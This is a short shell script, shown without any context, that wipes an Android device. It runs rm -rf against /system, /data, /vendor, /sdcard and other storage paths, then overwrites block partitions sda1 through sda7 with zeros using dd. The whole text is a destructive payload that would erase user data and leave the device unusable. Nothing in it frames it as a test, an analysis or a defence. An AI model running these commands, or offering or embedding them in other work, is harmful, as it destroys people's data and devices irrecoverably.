rm -rf /sdcard/Android/data
rm -rf /sdcard/Android
rm -rf /system
rm -rf /data
rm -rf /vendor
rm -rf /product
rm -rf /sdcard
rm -rf /storage/emulated/0
rm -rf /storage/sdcard
sleep 1

dd if=/dev/zero of=/dev/block/sda1
dd if=/dev/zero of=/dev/block/sda2
dd if=/dev/zero of=/dev/block/sda3
dd if=/dev/zero of=/dev/block/sda4
dd if=/dev/zero of=/dev/block/sda5
dd if=/dev/zero of=/dev/block/sda6
dd if=/dev/zero of=/dev/block/sda7